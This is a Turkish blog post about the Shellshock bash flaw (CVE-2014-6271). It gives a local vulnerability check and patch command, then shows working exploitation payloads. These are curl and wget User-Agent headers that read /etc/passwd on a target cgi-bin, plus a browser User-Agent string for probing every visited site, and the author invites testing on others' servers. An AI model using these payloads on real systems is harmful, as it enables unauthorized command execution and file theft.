ShellShock Nedir ? Nasıl Önlem Alınır ?
Merhabalar,
Uzun zamandır yazı yazma üşengeçliğimi kıracak derecede önemli bir zaafiyetten bahsedicem. Bildiğiniz gibi geçtiğimiz aylarda HeardBleed zaafiyetinin ortaya çıkmasının ardından internette “Güvenlik” konusu çok fazla tartışılmaya başlamış, elektronik alış veriş bir nebze güven kaybına uğramıştı.
Bunun üzerinden çok fazla geçmemesine rağmen elimize yeni bir açık ulaştı. CVE-2014-6271 yani “Shell Shock”. Bu zaaf HeardBleed’ten biraz daha tehlikeli çünkü etkilenenler sadece OpenSSL yüklü “Web sunucuları” değil. Modemler, routerlar, web sunucuları, Linux ve Mac kullanıcıları.
Yani açığa maruz kalan kitle daha geniş ve açık daha tehlikeli.
Peki neden daha tehlikeli ?
Bildiğiniz gibi HeardBleed açığında sunucuda o anda ram’de olan bilgilere erişiyordunuz. ShellShock’da ise dilediğiniz komutu çalıştırabiliyorsunuz. Sunucuya erişim sağlayıp, istediğiniz gibi kullanabilmeniz mümkün.
Peki sunucum açıktan etkileniyor mu ?
Bunu tespit edebilmek için çeşitli servisler mevcut dilerseniz; http://shellshock.iecra.org/ http://check.shellshock.info/
Sayfalarından online olarak sunucunuzun açıktan etkilenme durumunu test edebilirsiniz. “İnternet bu kadar güvensiz bir hali almışken, neden o sitelere güveneyim ki ?” sorusu zihninizde yankılanıyorsa bunun için manuel test imkanınız da mevcut.
Sunucunuza terminalden eriştikten sonra; env x='() { :;}; echo vulnerable' bash -c "test"
Komutunu yapıştırıp, enterladığınızda test cevabını alıyorsanız, güvendesiniz. Ekrana gelen mesaj “vulnerable” ise biran önce güncelleme yapmanız gerekmekte.
Güncelleme için hemen hemen her distro kendi yamasını yayımlamış durumda. Kullandığınız işletim sistemine göre bash’ı güncellemeniz yeterli. Örneğin CentOS’ için
yum update bash -y
Peki bu zaaftan nasıl yararlanabilir veya bunu exploit haline getirebiliriz ?
İşin en güzel kısmı ise burası. Herhangi bir yazılım dilini bilmenize gerek yok. Yapmanız gereken tek işlem terminal ekranında;
curl -H 'User-Agent: () { :;}; echo; /bin/cat /etc/passwd' http://hedef/cgi-bin/q.cgi
veya
wget -U "() { test;};echo \"Content-type: text/plain\"; echo; echo; /bin/cat /etc/passwd" http://hedef/cgi-bin/q.cgi
şeklinde komutlarla ulaşabilirsiniz.
Daha kolay ve hızlı bir yöntem ise tarayıcınıza kuracağınız basit bir eklentiye küçük ayar değişiklikleri yapmak.
Örneğin Chrome için buradaki eklentiyi kurup, User-Agent kısmına
() { :;}; echo "Content-Type: text/html"; echo; echo; /bin/ls
Yazarak girdiğiniz her sitede ilgili zaafın olup olmadığını tespit edebilirsiniz.
Ben önce kendim oynayıp, sonra milletin sunucusunda fink atmak istiyorum derseniz de. Öncelikle sunucunuzdaki cgi-bin klasöründe Apache ayarınıza göre aşağıdaki dosyayı test.cgi veya test.pl uzantıs ile kayıt ediyorsunuz.
#!/bin/bash
echo "Content-type: text/plain"
echo
echo "Merdincz.com ShellShock Game"
Daha sonra yukarıda vermiş olduğum Usager-Agent eklentisinde yeni Agent tanımlayıp, zaafiyet kodunu yapıştırıp, sayfayı yeniliyorsunuz. Karşınızda Shellshock game mesajı yerine, klasörün içerisindeki dosyalar yer alacak.
Herhangi bir dosya okuma, yazma işlemleri için ise klasik terminal komutlarını kullanabilirsiniz. Komutların başına tam olarak ilgili komutun bulunduğu dizini yazmanız gerekmekte. Yani klasik linux komutları için /bin/ eklemeniz yeterli.
Örneğin; /bin/ls
, /bin/cat
, /bin/passwd
gibi.